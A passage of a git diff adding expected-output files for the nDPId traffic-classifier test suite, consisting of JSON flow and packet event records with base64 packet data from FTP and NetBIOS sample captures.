AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +02347{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590241,"pkt_ts_usec":605168,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xCwDBkn+EBMx8Tl2CABFAAXUeOZAADYGYvZagkZJwKgB1F\/LxggMTo+xDQcaT4AQAAMimQAAAQEIChJoAdM7V7J9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00420{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590241,"pkt_ts_usec":605205,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2xCwDBkn+CABFCAA0AABAAEAGAADAqAHUWoJGScYIX8sNBxpPDE6VUYAQD9NjbgAAAQEICjtXspsSaAHT"} +02347{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590241,"pkt_ts_usec":605531,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xCwDBkn+EBMx8Tl2CABFAAXUeOdAADYGYvVagkZJwKgB1F\/LxggMTpVRDQcaT4AQAAMc+QAAAQEIChJoAdM7V7J9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00420{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590241,"pkt_ts_usec":605580,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2xCwDBkn+CABFCAA0AABAAEAGAADAqAHUWoJGScYIX8sNBxpPDE6a8YAQEABjbgAAAQEICjtXspsSaAHT"} +02347{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590241,"pkt_ts_usec":605595,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xCwDBkn+EBMx8Tl2CABFAAXUeOhAADYGYvRagkZJwKgB1F\/LxggMTprxDQcaT4AQAAMXWQAAAQEIChJoAdM7V7J9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00508{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":323,"source":"ftp.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":255,"flow_first_seen":1552590241545,"flow_last_seen":1552590241726,"flow_tot_l4_data_len":224192,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":879,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.212","dst_ip":"90.130.70.73","src_port":50696,"dst_port":24523,"l4_proto":"tcp","ndpi": {"proto":"Unknown","breed":"Unrated"}} diff --git a/test/results/ftp_failed.pcap.out b/test/results/ftp_failed.pcap.out new file mode 100644 index 000000000..8e19b2a6d --- /dev/null +++ b/test/results/ftp_failed.pcap.out @@ -0,0 +1,16 @@ +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"ftp_failed.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1574361625864,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:192:12:193:11","dst_ip":"2a00:800:1010::1","src_port":44724,"dst_port":21,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"ftp_failed.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574361625,"pkt_ts_usec":864342,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"9LUv\/K\/wZABqYzXMht1gC5eXACgGQCoADUAAAQADAZIAEgGTABEqAAgAEBAAAAAAAAAAAAABrrQAFZk3QbUAAAAAoAJwgHzLAAACBAWgBAIICpYFXqIAAAAAAQMDBw=="} +00470{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"ftp_failed.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574361625,"pkt_ts_usec":878212,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"ZABqYzXM9LUv\/K\/wht1gC1mOACgGOioACAAQEAAAAAAAAAAAAAEqAA1AAAEAAwGSABIBkwARABWutHAVBmyZN0G2oBL\/\/zbpAAACBAWgBAIIClbTSMOWBV6iAQMDDg=="} +00456{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"ftp_failed.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574361625,"pkt_ts_usec":878234,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"9LUv\/K\/wZABqYzXMht1gC5eXACAGQCoADUAAAQADAZIAEgGTABEqAAgAEBAAAAAAAAAAAAABrrQAFZk3QbZwFQZtgBAA4XzDAAABAQgKlgVesFbTSMM="} +00486{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"ftp_failed.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574361625,"pkt_ts_usec":977557,"pkt_caplen":106,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":106,"pkt_l4_len":52,"pkt":"ZABqYzXM9LUv\/K\/wht1gC1mOADQGOioACAAQEAAAAAAAAAAAAAEqAA1AAAEAAwGSABIBkwARABWutHAVBm2ZN0G2gBgCAAlWAAABAQgKVtNI3JYFXrAyMjAgKHZzRlRQZCAzLjAuMykNCg=="} +00456{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"ftp_failed.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574361625,"pkt_ts_usec":977593,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"9LUv\/K\/wZABqYzXMht1gC5eXACAGQCoADUAAAQADAZIAEgGTABEqAAgAEBAAAAAAAAAAAAABrrQAFZk3QbZwFQaBgBAA4XzDAAABAQgKlgVfE1bTSNw="} +00472{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"ftp_failed.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574361631,"pkt_ts_usec":282407,"pkt_caplen":98,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":98,"pkt_l4_len":44,"pkt":"9LUv\/K\/wZABqYzXMht1gC5eXACwGQCoADUAAAQADAZIAEgGTABEqAAgAEBAAAAAAAAAAAAABrrQAFZk3QbZwFQaBgBgA4XzPAAABAQgKlgVzzFbTSNxVU0VSIGhlbGxvDQo="} +00456{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"ftp_failed.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574361631,"pkt_ts_usec":296309,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"ZABqYzXM9LUv\/K\/wht1gC1mOACAGOioACAAQEAAAAAAAAAAAAAEqAA1AAAEAAwGSABIBkwARABWutHAVBoGZN0HCgBACAEkTAAABAQgKVtNODpYFc8w="} +00510{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"ftp_failed.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574361631,"pkt_ts_usec":296434,"pkt_caplen":126,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":126,"pkt_l4_len":72,"pkt":"ZABqYzXM9LUv\/K\/wht1gC1mOAEgGOioACAAQEAAAAAAAAAAAAAEqAA1AAAEAAwGSABIBkwARABWutHAVBoGZN0HCgBgCAOP9AAABAQgKVtNODpYFc8w1MzAgVGhpcyBGVFAgc2VydmVyIGlzIGFub255bW91cyBvbmx5Lg0K"} +00456{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"ftp_failed.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574361631,"pkt_ts_usec":296457,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"9LUv\/K\/wZABqYzXMht1gC5eXACAGQCoADUAAAQADAZIAEgGTABEqAAgAEBAAAAAAAAAAAAABrrQAFZk3QcJwFQapgBAA4XzDAAABAQgKlgVz2lbTTg4="} +00466{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"ftp_failed.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574361631,"pkt_ts_usec":296585,"pkt_caplen":92,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":92,"pkt_l4_len":38,"pkt":"9LUv\/K\/wZABqYzXMht1gC5eXACYGQCoADUAAAQADAZIAEgGTABEqAAgAEBAAAAAAAAAAAAABrrQAFZk3QcJwFQapgBgA4XzJAAABAQgKlgVz2lbTTg5TWVNUDQo="} +00512{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"ftp_failed.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574361631,"pkt_ts_usec":310521,"pkt_caplen":124,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":124,"pkt_l4_len":70,"pkt":"ZABqYzXM9LUv\/K\/wht1gC1mOAEYGOioACAAQEAAAAAAAAAAAAAEqAA1AAAEAAwGSABIBkwARABWutHAVBqmZN0HIgBgCAOOKAAABAQgKVtNOEZYFc9o1MzAgUGxlYXNlIGxvZ2luIHdpdGggVVNFUiBhbmQgUEFTUy4NCg=="} +00458{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"ftp_failed.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574361631,"pkt_ts_usec":352405,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"9LUv\/K\/wZABqYzXMht1gC5eXACAGQCoADUAAAQADAZIAEgGTABEqAAgAEBAAAAAAAAAAAAABrrQAFZk3QchwFQbPgBAA4XzDAAABAQgKlgV0ElbTThE="} +00465{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"ftp_failed.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574361633,"pkt_ts_usec":74667,"pkt_caplen":92,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":92,"pkt_l4_len":38,"pkt":"9LUv\/K\/wZABqYzXMht1gC5eXACYGQCoADUAAAQADAZIAEgGTABEqAAgAEBAAAAAAAAAAAAABrrQAFZk3QchwFQbPgBgA4XzJAAABAQgKlgV6zFbTThFRVUlUDQo="} +00479{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"ftp_failed.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574361633,"pkt_ts_usec":88560,"pkt_caplen":100,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":100,"pkt_l4_len":46,"pkt":"ZABqYzXM9LUv\/K\/wht1gC1mOAC4GOioACAAQEAAAAAAAAAAAAAEqAA1AAAEAAwGSABIBkwARABWutHAVBs+ZN0HOgBgCAFELAAABAQgKVtNPzpYFeswyMjEgR29vZGJ5ZS4NCg=="} +00457{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"ftp_failed.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574361633,"pkt_ts_usec":88598,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"9LUv\/K\/wZABqYzXMht1gC5eXACAGQCoADUAAAQADAZIAEgGTABEqAAgAEBAAAAAAAAAAAAABrrQAFZk3Qc5wFQbdgBAA4XzDAAABAQgKlgV62lbTT84="} diff --git a/test/results/fuzz-2006-06-26-2594.pcap.out b/test/results/fuzz-2006-06-26-2594.pcap.out new file mode 100644 index 000000000..18534e88e --- /dev/null +++ b/test/results/fuzz-2006-06-26-2594.pcap.out @@ -0,0 +1,1424 @@ +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1120469540839,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00480{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469540,"pkt_ts_usec":839312,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOaYwAAIARTMHAqAECwKgB\/wCJAIkAOlu0hOcBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPU0FDQUNBQ0FDQUJNAAAgAAE="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1120469540839,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00480{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469541,"pkt_ts_usec":585620,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOaYkAAIARTMDAqAECwKgB\/wCJAIkAOlu0hOcBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNAAA2AAE="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1120469542336,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"217.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 